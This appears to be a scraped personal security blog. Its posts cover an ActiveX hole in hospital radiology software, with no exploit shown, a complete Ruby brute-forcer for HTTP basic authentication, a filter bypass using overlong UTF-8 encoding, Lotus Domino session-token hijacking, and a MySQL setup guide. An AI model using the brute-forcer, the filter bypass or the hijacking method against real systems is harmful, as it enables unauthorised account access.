0-day ActiveX on Radiology Software

Hi everyone again!!
I'd like to report an undisclosed vulnerability I found in a very commonly used Radiology Software during a pentest in a Hospital.

Technical details:

To work propery the application installs a cab file called prjkillhome.cab containing our ActiveX control.
Using ComRaider we can see that this control uses a potentially noxious function called OpenShell.


By creating an html document that invokes it it's been possible to exploit it to run arbitrary code on the victim machine.
Following is a PoC that spawn calc.exe

Ruby Brute Forcer for Basic Authentication

Hi everyone since I've just started my coding in ruby, I'd like to give the Hacking community a small contribution. Here's a ruby script that given two files it attempts to brute force basic authentication login, like those of lotus notes or apache.

#!/bin/ruby
require 'net/http'
require 'timeout'

print ("

Basic Auth Bruteforcer
----------------------------
Usage: #{File.basename($0)} url uri 


")
if ARGV.length < 2
    $stderr.puts("Usage: #{File.basename($0)}  ")
    exit
end

url = "#{ARGV[0]}"
p url
uri = "#{ARGV[1]}"
p uri
username = IO.readlines("user.txt")
password = IO.readlines("password.txt")
resp = href = "";
begin
http = Net::HTTP.new(url, 80)
   #http.use_ssl = true
 username.each do |user|
  password.each do |pass|
  p "trying  #{user.chomp} with password #{pass.chomp}"
   Timeout::timeout(3) do
   http.start do |http|
   req = Net::HTTP::Get.new(uri, {"User-Agent" => "wget"})
   req.basic_auth(user.chomp, pass.chomp)
   response = http.request(req)
    case response
     when Net::HTTPOK
      p resp = response.body
     when Net::HTTPUnauthorized
      p 'Unauthorized'
     else 
      p 'error'
    end
   end
   end
  end
 end
 rescue
  $stderr.print "Connection Failed: " + $! + "\n"
 rescue Timeout::Error
  p "Problem Connecting"

end

Overly long UTF-8 encoding explained by a non byte eater

Hello everyone, after reading the recent unicode attack vs SiteMinder, I've decided to write a dumb proof explanation of how the overly long UTF-8 encoding works since I couldn't find a good one. To do this we need to know the rules for representing a valid utf-8 octet sequence, a table to help us find the ASCII equivalent char and some binary notions.

• The rules can be found at: http://www.ietf.org/rfc/rfc2279.txt?number=2279 (1)
• The table can be found at: http://www.utf8-chartable.de/unicode-utf8-table.pl (2)

From (1)

UTF-8 definition

In UTF-8, characters are encoded using sequences of 1 to 6 octets.
The only octet of a "sequence" of one has the higher-order bit set to
0, the remaining 7 bits being used to encode the character value. In
a sequence of n octets, n>1, the initial octet has the n higher-order
bits set to 1, followed by a bit set to 0.  The remaining bit(s) of
that octet contain bits from the value of the character to be
encoded.  The following octet(s) all have the higher-order bit set to
1 and the following bit set to 0, leaving 6 bits in each to contain
bits from the character to be encoded.

The table below summarizes the format of these different octet types.
The letter x indicates bits available for encoding bits of the UCS-4
character value.



Yergeau                     Standards Track                     [Page 3]

RFC 2279                         UTF-8                      January 1998

UCS-4 range (hex.)        UTF-8 octet sequence (binary)
0000 0000-0000 007F       0xxxxxxx
0000 0080-0000 07FF       110xxxxx 10xxxxxx
0000 0800-0000 FFFF       1110xxxx 10xxxxxx 10xxxxxx
0001 0000-001F FFFF       11110xxx 10xxxxxx 10xxxxxx 10xxxxxx
0020 0000-03FF FFFF       111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx
0400 0000-7FFF FFFF       1111110x 10xxxxxx ... 10xxxxxx

Encoding from UCS-4 to UTF-8 proceeds as follows:

1) Determine the number of octets required from the character value
and the first column of the table above.  It is important to note
that the rows of the table are mutually exclusive, i.e. there is
only one valid way to encode a given UCS-4 character.

2) Prepare the high-order bits of the octets as per the second column
of the table.

3) Fill in the bits marked x from the bits of the character value,
starting from the lower-order bits of the character value and
putting them first in the last octet of the sequence, then the
next to last, etc. until all x bits are filled in.

The algorithm for encoding UCS-2 (or Unicode) to UTF-8 can be
obtained from the above, in principle, by simply extending each
UCS-2 character with two zero-valued octets.  However, pairs of
UCS-2 values between D800 and DFFF (surrogate pairs in Unicode
parlance), being actually UCS-4 characters transformed through
UTF-16, need special treatment: the UTF-16 transformation must be
undone, yielding a UCS-4 character that is then transformed as
above.

Let's now explain how to create different UTF-8 representations of the same char following the afore mentioned rules. Let's take for example the "<" (less than sign.). If we look at the table (2) we'll see that the HEX encoding for "<" is:

ASCII	HEX	BINARY
<	%3C	00111100

If we look at the binary representation we can see that is perfectly valid as it follows the pattern: 0xxxxxxx but what if we would like to use two octets (overly long representation) to encode 00111100 (our less than sign)? To do so let's split it in 2 chunks of 6 and 2 elements: 00 111100 and let's start by substituting the x's with our two chunks, from low order to high order bits ( right to left ) and padding the remaining bits with 0's.

	1st octet	2nd octet
	110xxxxx	10xxxxxx
BINARY	11000000	10111100
HEX	%C0	%BC

Now analogously if we want to use a three octects encoding we have:

	1st octet	2nd octet	3rd octet
	1110xxxx	10xxxxxx	10xxxxxx
BINARY	11100000	10000000	10111100
HEX	%E0	%80	%BC

Thanks to these encodings the guy at: http://i8jesus.com/?p=55 managed to bypass SiteMinder filters. A great thank to my colleague daigoro for helping me in understanding this subject better.

Chickenfoot dictionary attack

Hello everyone... This time we'll learn how to write a very cool script using a superset of javascript functions. This is achieved through a firefox extension called chickenfoot that you can install from here. The script will automate the filling of username and password given two different files. If you receive an error its probably because the script doesn't find the fileio.js file. In this case you can find it on your system , open it and copy the content before my script begins. Credits also go to my friend "Daigoro"

MySql painless deployment on Slackware

Hello everyone....I've decided to use my blog as a repository of material not strictly related to security so as to post more often and most of all to keep a track of useful configuration. As you can infer from the title we are going through a quick and painless MySql deployment on Slackware (my one and only distro of choice). First of all download MySql package from a slackware repository and install it with: - installpkg MySql-ver.tgz then we need to install the db with: - mysql_install_db change the permission of the mysql library to mysql user - cd /var/lib/;chown -R mysql:mysql mysql finally fire up the mysql daemon - /usr/bin/mysqld_safe & If you want to start the daemon at start-up you gotta issue: - chmod a+x /etc/rc.d/rc.mysqld This concludes the little guide.

Lotus Domino Session Hijacking

Hi everyone, I've been very busy lately so this is why I haven't posted for so long... By the way, I might have discovered a new vulnerability in Lotus Domino Web Access. Here's what I've found As soon as you successfully authenticate to the Lotus Notes Web Interface, you receive a session token called DomAuthSessId. I've discovered that if you steal this token from a logged user, and set it in your browser then you can impersonate the victim. Obviously Lotus Notes allow the same user to authenticate concurrently from two different IPs. The Lotus Notes version were 5 and 6. To steal the cookie you can use the commom methods, like sniffing, using XSS etc. To view and set the cookie you can use a very nice firefox extension called web developer toolbar. As a side note this article was posted on bugtraq but was refused, the answer was: "Hmm this doesn't seem out of the ordinary for a webmail application -- the trick is stealing the token in the first place" Now...I've tested the same thing on openwebmail and that didn't work, so to me It doesn't look so normal. As for stealing the cookie, we have already talked about it. Credits also go to my collegue Dave Nigro for helping me testing the vulnerability.

My first post

Hi everyone, I wanna introduce myself to you... I'm a computer enthusiastic (geek), mainly self-taught that works, at the moment, as a paid ethical hacker. English is not my native language so please bear with me if you encounter any errors. As a self-taught person I often found that the real problem is not to find computer related articles on the web, but to find quality articles. For quality I mean articles explained very clearly, but that often implies a very deep knowledge of the subject treated by writer. I think that many people write some useless posts just to show-off, copying and pasting from all around. My aim is to do the opposite, e.g. write about IT or IT Sec. related matters in a way that most of the people can understand. I also invite you to partecipate in with comments that can better the resulting post. Stay tuned more to come soon.